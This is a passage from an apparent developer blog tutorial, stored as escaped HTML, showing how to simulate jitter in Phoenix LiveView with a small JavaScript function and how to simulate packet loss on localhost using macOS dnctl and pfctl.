&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#simulate-jitter&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;simulate-jitter&quot;&gt;&lt;/a&gt;Simulate Jitter&lt;/h3&gt;
&lt;p&gt;Phoenix LiveView allows us to add a constant latency to our connection. In reality, latency is rarely constant though. You might sit on a moving train and your phone constantly connects to a new cell phone tower. So, to simulate an even more realistic internet connection, we need to add &lt;code&gt;jitter&lt;/code&gt;. Jitter means that the latency changes with almost every user action. Sadly, LiveView does not support this out of the box. It was &lt;a href=&quot;https://github.com/phoenixframework/phoenix_live_view/issues/814&quot;&gt;requested&lt;/a&gt; a while ago, but it seems that it wasn&apos;t pursued further.&lt;/p&gt;
&lt;p&gt;Luckily, it&apos;s not too hard to add it ourselves. All it takes is a small JavaScript function that uses LiveView&apos;s &lt;code&gt;enableLatencySim&lt;/code&gt;-function to change the latency randomly. Have a look:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// Copy this to a new file at e.g. assets/js/jitter.js&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;export&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;enableJitter&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;minJitter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;maxJitter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;minDelay&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;maxDelay&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2000&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;let&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;timeout&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;randomInt&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;lowerBound&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;upperBound&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;Math&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;floor&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;Math&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;random&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;upperBound&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;lowerBound&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;lowerBound&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;setJitter&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;latency&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;randomInt&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;minJitter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;maxJitter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;// It&amp;#39;s important to disable the latency first before&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;// setting it again. Otherwise, weird things happen.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;window&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;liveSocket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;disableLatencySim&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;window&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;liveSocket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;enableLatencySim&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;latency&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;runInterval&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;timeoutFunction&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;setJitter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;runInterval&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;delay&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;randomInt&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;minDelay&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;maxDelay&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;timeout&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;setTimeout&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;timeoutFunction&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;delay&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;runInterval&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;disable&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;clearTimeout&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;timeout&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;// Don&amp;#39;t forget to clear the latency as well.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;window&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;liveSocket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;disableLatencySim&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;enableJitter&lt;/code&gt;-function changes the latency using a &lt;a href=&quot;https://stackoverflow.com/questions/6962658/randomize-setinterval-how-to-rewrite-same-random-after-random-interval&quot;&gt;random interval&lt;/a&gt;. By default, it changes the latency every 500 milliseconds to 2 seconds, which is good enough for local testing. You can use it for your application by adding it to your &lt;code&gt;app.js&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// app.js&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;enableJitter&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;./jitter&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// ...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;window&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;liveSocket&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;liveSocket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;// this line must exist&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;window&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;enableJitter&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;enableJitter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;// add this line&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will expose the &lt;code&gt;enableJitter&lt;/code&gt;-function in your browser. You can enable the jitter in your browser console like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-javascript&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// Enable jitter&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;jitter&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;enableJitter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1500&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;// Disable jitter&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;jitter&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;disable&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#simulate-package-loss&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;simulate-package-loss&quot;&gt;&lt;/a&gt;Simulate Package Loss&lt;/h3&gt;
&lt;p&gt;The last characteristic of a bad internet connection is package loss. Especially on mobile connections, you will lose packages occasionally. LiveView handles this problem pretty well out of the box, but you can still simulate it by using the &lt;a href=&quot;https://www.freebsd.org/cgi/man.cgi?dummynet&quot;&gt;dummynet&lt;/a&gt; utility. Thanks to &lt;a href=&quot;https://twitter.com/chris_mccord&quot;&gt;Chris McCord&lt;/a&gt; for &lt;a href=&quot;https://elixirforum.com/t/liveview-constantly-refreshes-page-on-poor-connection/40041&quot;&gt;pointing this out&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Open a terminal on your computer and run the following code:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Enable Package Loss&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;sudo&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-i&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;dnctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pipe&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;plr&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;0.3&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;dummynet out proto tcp from any to localhost port 4000 pipe 1&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;pfctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-ef&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Disable&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;pfctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-f&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;/etc/pf.conf&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;pfctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-d&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;dnctl&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-q&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;flush&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We first open a &lt;code&gt;sudo&lt;/code&gt; session and create a dummynet &quot;pipe&quot; using &lt;a href=&quot;https://www.manpagez.com/man/8/dnctl/&quot;&gt;dnctl&lt;/a&gt;. We configure the pipe to drop 30% of packages using the &lt;code&gt;plr 0.3&lt;/code&gt; option. We could also add a constant delay with &lt;code&gt;delay 1000&lt;/code&gt; or limit the available bandwidth with &lt;code&gt;bw 300Kbit/s&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then, we add the pipe to the package filter of our computer using &lt;a href=&quot;https://man.openbsd.org/pfctl&quot;&gt;pfctl&lt;/a&gt;. Open your application locally and have a look at the &lt;code&gt;Network&lt;/code&gt; tab. You&apos;ll see that some packages are dropped!&lt;/p&gt;
&lt;p&gt;Once you&apos;re done with testing, don&apos;t forget to disable the package filter again with &lt;code&gt;pfctl -f ...&lt;/code&gt;. And that&apos;s it!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
